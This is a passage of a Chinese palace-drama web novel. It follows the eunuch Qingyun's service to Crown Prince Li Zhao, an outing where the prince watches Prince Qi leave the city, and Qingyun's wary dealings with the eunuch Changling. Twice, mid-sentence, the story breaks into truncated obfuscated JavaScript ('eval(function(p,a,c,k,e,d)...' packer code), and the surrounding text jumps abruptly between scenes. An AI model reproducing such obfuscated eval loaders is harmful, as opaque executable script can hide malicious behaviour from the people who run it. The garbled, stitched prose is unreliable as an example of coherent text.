李照仍闭着眼,双唇噙笑道:“我便是睡着,也被你这奴才折腾醒了,”他睁开眼,转过脸道:“你跑来跑去的做什么呢?” 卿云双手蜷着被子裹住自己,轻声道:“地上凉。” 李照瞥一眼地面,深色砖石正反着冷冷的光,再瞧卿云已把自己严严实实裹成了个球。 李照道:“就没见过像你这么娇贵的奴才。” 卿云不言,裹着被子靠在床下。 “来人。” 外头立即有太监应声而来。 李照道:“放一台冰鉴到外头软榻旁,”又低头对卿云道,“去榻上睡吧。” 太监应了声“是”出去,卿云拥着被子不由对李照露出了个笑容。 李照瞧他笑得眼睛都眯了起来,伸手捏了下他的鼻子,“快去吧,娇贵的奴才。” 翌日晨起,李照醒了,方要叫人,想起殿内还有个卿云,便下床先去外头瞧了,卿云正在好睡,双手抱在胸前倒还算是规矩,两条腿一左一右不知歪到哪里去了。 李照微微一笑,自去偏殿传人,叫他们手脚轻些,也不必叫醒卿云。 卿云倒不是装的,他正是贪睡的年纪,往常要去伺候太子,也是长龄记着叫他,李照的侧殿芳香清爽,太监们按照李照的吩咐轻手轻脚地又换了些冰块,更是清凉宜人,卿云一觉醒来,只觉通体舒畅,翻了个身,舒展身体,懒懒道:“长龄……” “卿云小公公,长龄公公不在。” 卿云立即睁开了眼,淡绿纱窗里透进来日光,他先怔了怔,再扭头道:“太子呢?!” “太子上朝去了,”那太监笑着回道,“临走之前特意交待,叫别吵醒了您。” 卿云狂跳的心方才平复,“现在什么时辰了?” “辰时过半。” 卿云立即下了榻,“劳烦你将此处收拾妥当,我速去洗漱,再回来当差。” “哪的话,您只管忙您的,太子殿下吩咐了,您若醒了,记着先用早膳,旁的事都可先放一放。” 卿云一面穿鞋,一面笑道:“主子恩典,做奴才的也不能忘本,我去去就来。” 卿云心里头得意非凡,想昨夜留下来果真是对的,便是不知他哪里讨了李照的欢心,叫李照忽然对他如此施加恩宠。 无论得宠失宠,卿云都是如坠云中,如此便愈加小心谨慎,他穿戴整齐后急急往回赶,幸好所住之地离承恩殿很近,头顶掠过长长的青色琉璃瓦,卿云一头撞进院内,被人抱了个满怀,他方才稳住身形,抬头一看,不是长龄是谁。 “长龄公公……” 卿云喘了口气,“你还未走?” 往常长龄都是早起出门办事,夏日东宫的庄上更忙,卿云总是晚上才见到长龄。 “嗯。” 长龄手搀着卿云,目光不动声色地打量了卿云,见他无事,心下这才松了,“今日不忙。” 卿云站好了,冲长龄笑了笑,“你不忙,我倒要忙,得赶紧去收拾妥当,一会儿太子回来见不着我该生气了。” “好吧,那你快去,”长龄道,“我去帮你打水。” “多谢。” 卿云也不与长龄多寒暄,赶紧回屋收拾自个儿,他一面解衣一面觉着长龄这个人真是奇怪,要说他也是东宫最得势的太监,他病着那段时日,长龄也叫了太监来照顾他,可见长龄是能使唤人的,然而平素长龄无论做什么都是亲力亲为,卿云瞧着他简直就是自找罪受。 “水来了。” 卿云方想着,长龄便提了水进来,“瞧你急的,也来不及沐浴了,只擦洗一下便是。” “还是长龄你心细。” 帕子入水,卿云一摸,水温温的正好,他心中微微一动,瞥向长龄,却见长龄眼底青黑,面容之中掩饰不住的疲惫,心中顿时又一哂,他昨夜留在太子那里,看样子长龄是辗转难眠,彻夜不安了。 卿云也不说什么,擦拭干净后又急忙穿衣,长龄过来替他散了头发,重新梳发髻。 “好了。” 收拾停当后,长龄上下打量了卿云,“总觉着你似乎又长高了些。” 卿云微笑,“是吗?” 长龄道:“该让内直局的人再来一趟,先不说这些,你快去吧,太子今日应当回来得早。” 卿云应了一声,方跑出去又回来,“长龄。”他柔声呼唤,“昨日太子在太极殿议事,是有关去丹州赈灾的事吗?” 长龄神色微变,“朝政之事,我们这些做奴才的如何知晓,你……”他想告诫卿云莫要妄议朝政,想了想又忍住了,只说“你小心。” 卿云微一点头,“我明白。” 卿云急匆匆地赶去承恩殿,又不敢走得太快,怕身上出汗,如此瞻前顾后,倒拖了不少时辰,他到承恩殿时,李照已下朝回来了,正在沐浴。 身为先皇后唯一的儿子,太子也素有仁德简朴的贤名,东宫伺候的太监不多,李照日常清洁鲜少用东宫里的浴池,在房中清洗得多。 卿云来得迟了,只能在殿外等候传召,殿外正是暑热,他方才小心翼翼才保得浑身清爽,如今在门口只立着这么一会儿背上便开始冒汗,不由心焦,心焦之后身上汗便出得更厉害,此时殿门“吱呀”一声,两个小太监推了殿门,一眼瞧见卿云,忙欢喜道:“卿云小公公,你来啦,快进去吧,太子早唤你呢,让我们出来寻了好几次。” 卿云忙跟着两个小太监进去,殿内也不算清凉,太子节俭,用冰也不多,卿云跟着走到内殿才感觉到凉意,轻舒了口气,又悄悄嗅了自己身上,没嗅到什么异味才放下了一颗心。 李照正在沐浴,几个小太监闷不做声地替他擦洗,他往日里也习惯了周围总是静静的,只卿云来后,他便觉着这安静有时未免太沉闷了。 “参见太子殿下。” 两个小太监领着卿云过来,到了太子跟前便一左一右地散开,卿云说参见,人却只站着,也不行礼,脸上倒是笑开了,李照一见也笑了,“今日怎么这般高兴?” 卿云笑道:“来拜见太子,自然高兴。” “哦?”李照道,“这么说来,你在东宫岂不是每日都很高兴?” 卿云抿唇一笑,他这是头一回见到浑身赤条条坐在浴桶里的李照,褪去了衣饰的李照让他不知怎么觉着好生奇怪别扭。 李照见他神色扭捏,不由又起了逗弄之心,架在浴桶帮的手朝卿云招了招,“过来。” 卿云走近了,李照便道:“你来帮孤擦洗。” 卿云看向离他最近的太监,那太监闻言便将手里的帕子放到一旁托盘上,又换了块新的给卿云。 卿云瞧着其余太监的怎么做的,也学着先在一旁的水里蘸湿了,再把帕子贴到李照肩上,他眼里学着别人的动作,再加上又生疏,自然顾不上手里的动作,手上一歪,那浸湿的帕子就甩到了李照下巴上,李照“嗤”的笑了一声,手抓了卿云的腕子,笑道:“瞧你笨手笨脚的,字写不好也就罢了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李照素日里喜欢卿云,便是觉着卿云身上一股难得不像奴才的劲,此时见他多番矫情,便有些腻味,于是撒开了手,语气也淡了,“好吧。” 他直站起身,水哗啦啦地从他身上淌下,卿云离得近,不少水珠溅到他脸上,他像吃了疼一般“啊”了一声往后退了大半步。 李照长眉紧拧,目光不悦地直射过去,却见卿云手半捂着脸,只露出一双哀怨凄惶的眼睛瞧着他……李照顺着他的视线往下一看,再回过脸看卿云,卿云正步步后退,脸上竟像是怕了一般。 李照抬腿出了浴桶,也不擦干,直抓了一旁的里袍先披上,腰间系好,赤着脚湿淋淋地朝着卿云走了过去。 卿云人已僵住了,李照走到他跟前,他也仍半挡着脸,一双眼发傻地望着面前李照的胸膛弯下,李照直看了他的眼,神色竟十分严肃,“谁欺负你了?” 卿云定定地瞧着面前的李照,他心思纷乱,一时分辨不出面前的李照究竟是那个在听凤池出手相助的贤太子,还是那日连他辩解都懒得听便要发落他的厉判官。 卿云摇头,哑声道:“没人欺负我。” 李照耐着性子道:“是从前在玉荷宫里受了欺负?”他抬手抚了下卿云的头顶,“不怕,一并告诉孤,孤都替你做主。” 卿云难言此刻心绪,他不知自己该不该信李照,便扭了脸回避,李照也不急,只道:“你如今既是东宫的人,便什么都由我做主,哪怕是从前的事,你只需说,不必害怕,便如福海一事这般,也是肃清宫中风气,算是一桩好事。” 卿云此时才终于明白李照在说什么,一时哭笑不得,最后仍是笑了,抿了下唇看向李照,他明白李照这是可怜他。 “我自幼天残,生下来便是做太监的命,”卿云垂下脸,七分做戏,三分却是真心,“是老天爷欺负我。” 李照万没想到卿云是因此自伤,他被太监伺候了十几年,早已习惯身边太监来来往往,都快忘了太监是伤了身子才变成的太监,也会为此自怜自哀,是了,便是心中有此心绪,又怎敢在主子面前流露呢?怕只有这傻奴才,嬉笑怒骂,不懂遮掩。 李照听罢,也不知该如何安慰,比起其他太监,卿云似更凄凉,他手指轻弹了下卿云的脸,“好了,小小年纪,莫再伤怀,老天爷欺负你,主子疼你,还不好吗?” 17.第十七回 太监们重又抬了水进来,李照冲洗之后穿戴整齐,见卿云立在一旁蔫蔫的,心中又涌上几分怜意,想他今日不过是想逗逗卿云,倒未曾料到真惹得卿云伤心起来,于是召来几人吩咐一番。 卿云不明所以,只低头站在一侧,心中暗暗懊悔方才在李照面前那一番流露,即便其中有做戏的成分,他心里也还是不愿将隐痛诉说,是李照温言软语一时迷惑了他,也是向上攀爬的野心拱了他心里的那股火,清醒过来之后,卿云便有些悔意。 李照只当他还在伤心,便也不逗他,待到几个太监捧着衣服进来,李照才道:“去里头把衣服换上。” 卿云心道他的衣服也没怎么弄湿,已经干了,再定睛一看,托盘里的并非太监服饰,而是一套月白服饰,绸缎散发着柔和光芒,比他身上这身定制的还要更光彩动人。 “这是我从前穿过的,宫里一时也找不出合你身的民间服饰,你便这么穿吧。” 太监们手捧着另一套玄色衣衫走到李照面前替李照更换,李照张开手臂,对卿云道:“快去换上,迟了,我可不等你。” 卿云如梦初醒,连忙接过托盘到了屏风后头,他走得很急,差点绊了一跤,李照不由莞尔。 主仆二人换好了衣裳,前头侍卫们也早备好了马车。 李照先上了马车,侍卫们挑着帘,李照在马车里头笑盈盈地望着卿云,“自己上来,还是我拉你上来?” 卿云从未坐过马车,又知是要出宫,早兴奋欢喜得不知愁了,听罢连忙手脚并用爬上马车,他头一回坐马车,姿态自然狼狈了些,又惹得李照想笑,好歹忍住了,拍了拍身边,道:“过来坐下。” 卿云难以抑制心中激动之情,将这马车里头全看了一遍,前头驾马车的侍卫甩了下马鞭,“驾”了一声,马车便动起来,卿云人跟着微微摇晃,咬了下嘴唇,还问李照:“殿下,我们这是要出宫?” 李照道:“出了宫不许再称殿下,要称郎君。” 卿云面上不由浮出笑容,他实在觉着新鲜,脸上全是笑意,“郎君,咱们就这么出宫了吗?” 李照瞧他神情说不出的灵动可爱,先前悲悲戚戚的模样总算转了过来,不由捏了下他的鼻子,“你以为很容易么?昨儿个我向父皇提了,父皇应下,才有今日出宫的机会。” “那也好,”卿云笑道,“皇上最宠殿……郎君,您提的,皇上没有不应的。” 李照微笑,“不许胡说。” 马车行进得不快,极为稳当,卿云坐马车的新鲜劲过了,就想探出去瞧瞧外头的风景,他面朝着窗的方向,满脸的跃跃欲试。 “别急,”李照看出了他的好奇,笑道,“还未到宫外呢,今儿个有你瞧热闹的时候。” 卿云这下是真高兴了,李照先前说过带他出宫玩,他也没放在心上,在他心里,李照的话就比放屁好上那么一点儿,全看李照心情,未料李照真会信守承诺,他难得没想别的,就只想着这一回出宫的事。 十几年了,他脑海里一丝宫外的记忆也无,浑不知皇宫之外的世界是怎样的,怎叫他能不欢喜激动。 “殿……郎君,”卿云懊恼地用力咬了下嘴唇,眼睛发亮,像是拿定了主意再不说错,他喜道,“咱们今儿去哪玩?” “我带你去吃酒,如何?” 卿云诧异地瞪大眼,“殿……”他神情又再懊恼,这回小脸都皱了起来,李照瞧他不断变脸,实在难忍地笑了出来,把人搂了过去捏脸,“这声殿下能改吗?改不了,现在还没出宫,回去还来得及,我换长龄出来。” 卿云脸色立即变了,他究竟城府再深,也只不过是在冷宫里独待了那么些年的小太监,一时难以遮掩,他还未说什么,李照倒自己先说:“罢了,逗你玩的,可不许哭。” 卿云眼瞥了下头,低声道:“我知道,郎君一贯如此。” 李照听他声调,笑道:“可是又要同我赌气了?” 卿云越发低头,“不敢。” 李照是既想笑,又不能笑,手掌抚了下卿云的脸,“说来我还没仔细瞧你,穿我的旧衣裳还合身吗?” 他一面说一面低头打量,卿云在东宫如今吃穿不愁,身上终于养出点肉来,不似从前单薄,可瞧着还是身量纤纤,衣裳宽大了许多,这般形容若在宫外,便是不知情的人瞧见也会以为他是伶人之流,这么想着,李照心中又涌上一股怜意,“这回穿旧的,下回穿新的。” 卿云这才仰脸,“还有下回?” “只要你乖乖听话,莫要动不动便和主子怄气,”李照捏了捏他的鼻子,“莫说下回,下下回也是有的。” 卿云脸上露出个淡淡笑模样,“郎君,我们真去吃酒吗?” 马车忽然停顿,卿云以为到了,便不禁向窗户望去。 “还没出去呢。” 外头传来侍卫盘查的声音,卿云方知是到了宫门口。 “你不想吃酒?”李照道。 卿云只是奇怪,“郎君你也不常吃酒啊,怎地要特意跑到外头去吃酒?外头的酒难道还有宫里的好吗?万一吃出个好歹可怎么得了。” 李照笑了笑,“放心。” 马车终于出了宫,外头也还是安静,如此又行进了好似许久,卿云才渐渐听到与宫中截然不同的热闹动静。 宫里总是极安静的,就连风声也是悄悄的,玉荷宫里好歹有个疯子惠妃成日发狂作响,东宫里可就真静极了,要说里头也有几百号人,平素里偏无动静。 李照一年也就出宫个两三回,也哪有不喜外头天地的,只他自小便约束惯了,性情沉稳不外露,即便想瞧一瞧外头的变化,也不会显在脸上,倒是卿云替他流露了那一分雀跃。 “郎君,我能瞧瞧外头吗?” 卿云轻唤一声,语带哀求。 李照笑道:“难得听你求我,你不一向随心所欲的很,想看,自去看便是了,我还拦着你吗?” 卿云懒得与他说嘴,脸上飞起来似的高兴,直从李照的怀里挣了出去,雀一般飞到窗边,抬手撩起帘子,外头的热闹一下入了眼,是卿云从未见过也想象不出的情形,浑然是另一个世界,直叫他看痴了。 李照单手摇着扇子,听着帘子外头人间语笑叫卖声声,倒也不急着瞧,却看卿云脸上映着外头的好日头,素净的小脸瞧着光彩照人,庙里的小金童似的,心里很欢喜。 卿云已全然忘了身后还有个李照,只一味瞧着外头,不知不觉间整个脑袋都探了出去,只留个身子在马车里头,被李照拿扇子轻轻在后腰打了一下,“仔细掉下去,我可不捡你。” 卿云这才恋恋不舍地收回脸,回头望向李照,眼睛发亮,“郎君,外头好多人。” 李照捏着扇子笑道:“原来你喜欢看人。” 卿云低头一笑,他也说不出外头怎么好,只就觉着好,他禁不住问道:“咱们去哪儿吃酒?” 李照面上的笑容微微淡了,“到了就知道了。” 马车一直由闹市又行进到安静地方,卿云不由又紧张起来,手一撩帘子,才发觉马车行到了青石巷中,两侧灰墙高耸,令他想到了宫中。 卿云心中惴惴,试着往前后看去,这才发觉后头还有辆马车,似在跟着他们,他慌忙回到车内,“郎君,后头有辆马车跟着我们。” 李照道:“是咱们的人。” 卿云道:“咱们的人?” 李照笑而不语,卿云心中又觉着闷闷的,方才的兴奋减了许多,放下帘子坐下,李照也不理他,只自顾自地摇着扇子,过了一会儿,方笑道:“就没见过像你这么没眼力见的奴才。” 卿云方才醒悟,忙过去举起掌心,来接李照的扇子。 李照却不给他,反又冲着卿云摇了摇扇,“凉快吗?”微风吹到脸上,卿云也不受用,只道:“郎君总爱取笑。”他一面说一面从李照手里抽出扇子,打开来替李照打扇,李照见他神情乖巧,微笑之余心中又有了几分思量。 李照先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李照先下了马车,卿云随后踩着凳子小心翼翼下来,才方瞧见这墙边开了道门,还真是个所在,上书什么“居”,前头两个字他也不识,后头马车上下来人,卿云也瞧着是生脸,是个长须瘦脸的中年男人,上前向李照行了一礼,“殿下安好。” 李照微一颔首。 卿云立在李照右侧身后,直觉李照今日似乎并非出来玩耍吃酒。 两人也不交谈,只向门内走去,门内院子里花红柳绿,倒比东宫鲜艳,卿云好奇地打量,发觉院子里头和宫里一样,没什么人,偶见得几个在外头洒扫的,也都低着头默默的,和宫里的人一个样。 李照与那中年男人上了栋楼,卿云也只能跟上。 李照负手立在楼前,卿云站在他身后向前眺望,这才发觉他们已到了京城边界,前头就是城门口了,方才一墙之隔的车马声正是城门口往来盘查的动静。 李照不言,那男人便也同卿云一样站着,卿云余光悄悄打量,心里盘算着这人的身份,实也想不出,更想不明白李照今日到底出宫所为何事。 三人就这么默默立着不知多久,卿云早上着急伺候,水米未进,又一路兴奋激动,早已耗尽精神,饥肠辘辘,口干舌燥,却也只能忍着。 卿云恍惚走神之间,忽见李照身子侧了侧,他循着李照的眼光望去,先听到了哒哒马蹄声,遂见几人正骑着马过来。 旁的人到了城门附近都下马牵着,偏这几人气势汹汹,最前头的几个身着深绛劲装,手里持着不知什么闪眼的银色牌子,喝退城门边的人,似在为后头开路,卿云定睛一看,在马队中一眼望见个骑在马上的蓝袍郎君,面如冠玉、身似长鹤,被周遭几人隐隐包围着,应当是个世家公子之流。 马队一阵风似地穿过城门,卿云怔怔地瞧着,心中生出几分歆羡。 “果然不出殿下所料,齐王确是早有准备。” 卿云微微瞪大眼,方才那人是齐王? 李照负手道:“他一力推举张文康,我便知他打的是什么主意。” “齐王阳谋,皇上心里也未尝不明白。” 李照勾唇一笑,“罢了,”他侧过脸看向卿云,卿云神情未收,仍是一脸诧异,见李照看来,连忙调整,面上便显得有几分僵硬,李照倒是不在意,微微笑道:“饿了吧?” 卿云心下狂跳,轻声道:“郎君正事要紧。” “我有什么正事,”李照道,“不过带你出来玩玩,吃几杯酒,”他伸手捏了捏卿云的脸,低笑道:“小奴才,心思还挺多。” 18.第十八回 那男人下去之后,便有人抬着桌椅上来开始布菜,卿云从旁瞧着,心下些许不安,齐王……他想起昨日李照同他说起丹州的事,难不成去赈灾的是齐王? 卿云对朝堂之事知之甚少,却也知道太子和齐王一向不睦,总在明争暗斗,他生怕此时说错做错什么,触怒了太子,为齐王担了干系,便上前帮着人一块儿布菜。 李照早坐在围栏处,一面打扇一面含笑看着卿云忙前忙后,“不错,出来倒是勤快了。” 卿云不作声,只当什么都没听见。 李照见状,以扇掩面,半靠在围栏上假寐。 待到酒菜都齐全了,卿云方才过去叫,“郎君,酒菜都好了。” 李照无甚反应,卿云此时已不觉着饿,只心中七上八下,提心吊胆,生怕今日不能善了,这可是在宫外,万一李照一怒之下,不带他回宫,他可真比来喜还要惨了,来喜至少还回了掖庭局,也算有个去处。 其余人全下去了,这偌大的高楼亭上只有二人,卿云捏着手,又试探着小声叫了两回,李照都不动弹,似真睡着了,泥金扇上头黑金光芒交错,卿云心里紧张,抬了手想拿了扇子,却又不敢,便蹲下身从下头去窥探李照到底是梦是醒,可实也瞧不出,只瞧见李照嘴角平平,也不是在笑。 卿云人蹲着,心里又怕又恨,恨不得将李照从楼上推下去,一了百了落个清净,念头方起,又把自己吓了一跳,想他怎么和惠妃那个疯子似的,净想些没着落的。 又蹲着等了一会儿,卿云实在忍不住,抬手轻捏了扇面,扇面凉丝丝的,他一手轻轻抽着扇子挪动,方从李照脸上挪开一点儿又被李照抓了回去。 卿云猜得李照未睡,手不放那扇面,和李照拉扯了两回,李照“噗嗤”一声睁开眼,“你好大胆,扯坏了这扇子,你拿什么赔?” 卿云见李照笑,心情也未放松,“郎君偏爱逗人。” “只许你装听不见,不许我装睡逗你吗?”李照笑盈盈道。 卿云道:“这话快别叫旁人听见,堂堂一个主子,跟奴才计较,没得失了身份。” 李照笑道:“好个刁嘴奴才,照你这话说来,你以后便是犯了错,我也不好罚你了。” 卿云一本正经道:“正是。” 李照大笑着起身,顺手摸了下卿云的脑袋,“快起来,在外头蹲着,成何体统。” 一桌酒菜,李照只略动了几口,浅酌了两杯,剩下的都赏卿云了,“你乖乖地待在这里,别乱跑。” 卿云忙道:“郎君这是要去哪?” 李照拿扇子轻敲了敲他的脑袋,随后打开扇子,轻摇着扇子下去了。 他人一走,卿云便马上走到围栏处,手扶着围栏朝下看,见李照往里头院子里去了,怔了片刻后便又回到席上,浑身这才松软下来。 卿云长吁了两口气,心中暗道好险,提了酒壶给自己倒了杯冷酒饮下,浑身打了个寒颤,枯坐了许久,肠子绞动才方知饿狠了,胡乱捡了点饭菜吃下,心里一直想着齐王和丹州,总是又怕又不放心。 及至日头渐渐下沉,卿云猛然清醒,站起身匆匆下楼,却被楼下的侍卫拦住。 “郎君呢?”卿云心头砰砰乱跳,生怕李照把他忘在此处,自己回东宫去了。 侍卫充耳不闻,只道:“主子交代,让你别乱跑。” 卿云手按在胸口,脸色微微发白,心道难不成李照真要把他扔在这儿?莫不是要让他困死在这儿不成?脑海中一时思绪万千,想着自己今日有无错处,可偏又分辨不出,只想着会不会是因齐王的缘故,太子恼了,便拿他出气? 卿云望着两个威猛侍卫和他们腰间佩的刀,一时也不敢冲出去,只扶着楼梯慢慢坐了下来。 侍卫们见状便转过身,两人虽是后背对着卿云,却如铜墙铁壁一般。 暑天闷热,卿云背上额上阵阵出着冷汗,他实在是怕,怕得不敢想,只双眼发怔地出神。 李照从堂屋出来,转向亭楼,抬眼望去,亭楼空空,他莞尔一笑,心说到底还是没规矩,又不知野到哪去了,正要叫人去寻,便听一声短嚎,两个侍卫本正要让开,被那声粗嘎嚎叫吓了一跳,卿云趁机一推两人,直蹿了出去。 李照瞧他那架势,忙张臂来托,叫卿云扑了个满怀。 “这是怎么了?” 李照一面笑,一面手抚了卿云的额头,摸到一手的汗,他略一挑眉,“泪珠子挂头上去了?” 卿云仰起脸,眼见着是没哭,只脸上全是委屈。 李照禁不住笑,“哟,这到底是怎么了?”他望了那两个侍卫,“你们欺负他了?” 侍卫惶恐下跪,“奴才不敢。” 卿云抿着唇道:“我想出来找郎君,他们不让。” 李照笑着看向他,“那是他们的正职,是我让他们提放着你这野猴子乱跑。” 卿云脸色涨红,“我才不是野猴子。” 李照笑道:“你若不是野猴子,怎么把主子当树爬呢?” 卿云连忙放开手。 李照瞧他形容,便知他为何如此,掏了帕子先擦了自己的手,又递给了卿云,“怕我把你丢下不管?” 卿云自己也有帕子,本嫌李照的沾了汗水,未免触怒李照,也只能接了过来,意思意思擦了擦额头上的汗。 “你既到了我身边,我也喜欢你,怎会随意抛下?” 卿云捏李照帕子的手顿在额头,猛地仰起脸,眼中满是不可置信。 李照微笑着瞧他。 卿云望着他的眼睛,他依旧是分辨不出,但是……金口玉言,李照既这般说出了口,那便与他自个揣测的是两回事了,卿云喜不自胜,忙言语缠上去,“殿下这话可当真?” 李照手点了他眉锋藏的那颗暗痣,“真是笨,说了在外头不许这么叫。” 卿云也不恼,只管痴痴地笑。 李照见他一时悲又一时喜,全不粉饰遮掩,只觉他可怜又可爱,又忍不住想再逗逗他,瞧他又会如何变脸。 “怎么不问问我更喜欢你还是长龄?”李照戏谑道。 卿云脸上笑容果然僵住了。 李照大笑着向院外走去,卿云连忙敛了神色跟上。 这一趟到宫外来“玩”,说是出来吃酒,结果却是既没好吃也没好玩,只得了李照的一句“喜欢”,卿云初时高兴,想在李照跟前撒娇卖痴许久,总算有了成果,待上了马车后渐渐又心灰下去,明白李照只是一时兴起,因他还有趣,若哪天倦了瞧他的小性,顷刻之间便又能将他丢下手去。 李照想着丹州之事,自不会去管卿云一个奴才此刻所思所想,李照神情肃然,卿云也不敢造次,马车便这么静静地返回了东宫。 侍从撩开帘子,李照下了马车,卿云跟上,一路小跑,跟到殿门口,李照手一挥,“回去吧。”便头也不回地入了殿。 卿云脚步停在殿外,片刻之后慢慢回过了身。 说是出宫玩,却只有路上瞥见外头热闹情形时最高兴,卿云不知为何竟感到了些许怅然失落,倒是比先前没出宫时更添伤感。 玉荷宫里惠妃成日自伤自怜,卿云冷眼瞧着,很是看不上她那副模样,更不愿自己也如此,于是一路振作精神,回到屋中时已笑容满面,正巧长龄在屋中,见卿云满脸春风,笑道:“回来了,外头好玩吗?” “好玩,”卿云道,“好玩得紧,太子带我去吃酒,外头酒楼可真热闹。” 长龄露齿一笑,眉眼露出些许疲态,“还吃宵夜么?” 卿云肚子里只填了些冷酒冷菜,又一路担惊受怕,此时是饿了的,却又不愿在长龄面前流露,笑盈盈道:“不吃了,外头吃够了,正撑得难受呢。” “那我去打水,咱们洗洗歇下吧,出去了大半日,你也累了的。” 长龄一面说一面起身,卿云道:“长龄,你脸色不好,我去叫人来送水,你别忙了。” 长龄摇了摇头,对卿云微微一笑,“我没什么不好的。” 真是天生的贱命! 卿云悄悄冲着长龄背影啐了一口,神色鄙夷,不知他成日里这副做派到底装给谁看,显得他多贤良恭谨似的。 卿云坐下给自己倒了杯冷茶慢慢抿,思索着难道太子喜欢 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长龄一手扶着卿云,一手慢慢喂水,卿云满眼泪花地含了口水,长龄道:“吐在杯子里。” 卿云便歪倒了脸将水吐回了杯子。 长龄又换了杯茶来,如此反复三次,卿云才摆了下手,闭眼皱眉地想躺,长龄忙把人小心放下,他凝眉望着卿云煞白的小脸,轻声道:“莫不是在外头吃坏了什么?”随即脸色微变,“你先躺着别动,我出去一趟。” 卿云正五内俱焚地难受,听长龄所言,又忙拉住他的袖子,喘声道:“……别惊动人。” “放心,”长龄轻声道,“我去打听打听太子那边。” 卿云这才放心地撒开了手,他自己知晓不是吃坏了什么,是一日里惶恐紧张,到此刻才真正松懈了,便闭眼又躺了下去。 长龄出去打探一番,知道太子寝殿那没什么异样动静,便又赶回来,见卿云蜷在床上发抖,便伸手探了探卿云的额头,倒是不热,“卿云,你如何了?还好么?” 卿云慢慢摇头,“我没事,躺会儿就好。” “我去叫人来瞧瞧。” 卿云立即睁开眼,他方才吐得厉害,犹如大哭了一场,眼圈还是红红的,“别,不是什么大事,若闹起来,又该惹人眼了。” 长龄面露心疼之色,也不说什么,转身先去收拾清洁地面。 卿云这才轻轻舒了口气,他倒不怕别人眼红,只今日他是陪太子出去“玩”的,玩了回来便闹病,这岂不是惹得主子不快,也再没下次机会了?况且太子便是喜他没分寸的野模样,要是令太子知晓,他其实成日都在演戏,时时都悬着一颗心,太子哪还会宠他?为了日后,他也须得忍了此时才好。 卿云对自己的身子有数,玉荷宫里缺衣少食的,他多少次饿了病了冷了痛了,不也自己挨过来了吗?远的不说,就说在内侍省里他险些送了命,不也渐渐好起来了? 卿云自嘲一笑,心说,他自个儿原也是贱命一条,正出神时,便听耳边道:“起来喝口热茶,也好舒服些。” 卿云转过脸,长龄手里端着茶,正坐在他床沿,神情很是关切。 卿云心中一动,有心想问长龄为何待他如此好,可是包藏了什么祸心,然这种话怎可说得出口,他低头略喝了口温温的热茶,果然舒服许多,当下也只道:“多谢你照顾我。” “我不照顾你,这屋子里还有谁照顾你?”长龄道,“再多喝几口,肠子里头暖了,人才松快。” 卿云听了他的话,又喝了两口,实在嘴里苦涩,道:“喝不下了。” 长龄放了茶,扶着他慢慢躺下,掏了帕子替他擦脸上渗出的冷汗,见卿云神色怔怔的,他不由也轻轻叹了口气。 “长龄,”卿云忽问,“太子缘何如此宠爱你?” 他这么愣头愣脑地一问,长龄被他问得呆住,片刻之后又莞尔,神色却是淡淡的,“宠不宠爱的,都是当差罢了。” 卿云问出口便已后悔,又听长龄回避,一颗心便又冷了下去,轻轻“嗯”了一声,不再做声。 19.第十九回 所幸卿云翌日便好起来,赶着到了太子跟前当差,李照也没瞧出什么异样,照例闲话逗了人两句,又吩咐下去说给卿云加两倍的月钱让他赏人,这才上朝去了,看来齐王之事并未叫李照多生烦忧。 卿云也终于安下了心,不必再担忧太子因此事生怒牵连了他,又得了许多钱,胃口立即恢复如初,回去便大吃了一顿。 长龄因担忧卿云半夜不好,又是一夜未曾好眠,眼下青青的,困倦地哈欠,见卿云吃得香甜才放心地去补眠,趁着太子未归,先偷睡一个时辰。 卿云平素也不去外头,长龄睡了,他便坐在自己那一边打络子玩,手指缠着丝线,他时不时地抬头望一眼长龄,心里又乱了起来,心一乱,手里的络子也打不好了,干脆放下,只望着外头。 日头逐渐洒入屋内,卿云瞧着地面砖石的颜色变化出神,心里不知不觉静了下来,便又觉着闲坐无聊,无事消遣,一时心里又发起了闷,好没意思,低头继续打络子,如此不知消磨了多久,长龄终于醒了。 卿云听得动静忙望过去,长龄起身睁眼便先冲他笑来,“你这络子还没打完。” 卿云也微微一笑,“打不好。” 长龄边下床边道:“你总太要完满,一点不顺意便拆了重编,可不总打不好。” 卿云道:“打的头一个络子,自然要尽善尽美,也算开个好头。” 长龄一面穿鞋一面笑道:“你打好了预备献给太子么?” 卿云笑道:“太子哪瞧得上这小玩意,我送给你,你要不要?” 长龄动作一顿,双眼自下而上望来,他神色难掩愕然,“给我?” 卿云原没想把这络子给谁,只长龄提起来说他要献给太子,他听着觉着不爽快,好似他要拿这些去讨好太子,便故意说这话来挤兑长龄,可瞧着长龄的脸色竟是当真了。 “你只说要不要。”卿云淡笑道。 长龄脸上神情悄然变化,眼睛笑得微眯起来,“那我就先谢过了。” 长龄下榻却不去收拾整理,头发散乱着去到自己柜前,开了柜子取了个木盒出来到卿云跟前递到他眼下。 “原是买了好些日子,只你有太子赏的好笔,我倒不敢献宝了,如今你既送我络子,便只当还礼吧。” 卿云一时怔住了,抬眼看向长龄,“这……你何时买的?” 长龄抿唇一笑,“太子赏的笔固然好,只不过毕竟是主子赏的东西,珍惜为好,也不敢多使,你平素练字可以用这个,你先试试看好不好,若是不好,我以后再寻了好的给你。” 卿云手上捏着络子,瞧着长龄的神情,倒不愿接了,勉强一笑,“难为长龄你如此细心。” “若论心,哪比得上你亲手做的呢,我成日里瞧你拆了编编了拆,真不知你是要编出个什么花样来才满意,”长龄笑着,“赶紧打开试试趁不趁手。” 卿云只得接过,当着长龄的面打开,里头笔墨纸砚竟是一套齐的,卿云也不懂好坏,只光瞧着外头似是好的,他心里顿时闷闷的,想起那日他拿了太子的笔回来,长龄便似有话说,原是那时就买了这些? 长龄道:“你先拿着玩,我去打水。” 长龄出去了,卿云捧着那一盒东西放也不是,扔也不是,想起惠妃,想起瑞春,又想起福海,惴惴地发恼,想把那套东西砸了,又不敢,怕得罪了长龄,以他如今在太子面前的宠爱,怕是没法和长龄抗衡,心中便又发起狠来,手指甲死死地抠在那木盒上,待听得外头动静才将盒子盖好放在床头。 长龄打了水进来梳洗,卿云瞧着他解衣,平素里两人吃住一处,互相也是看惯了的。 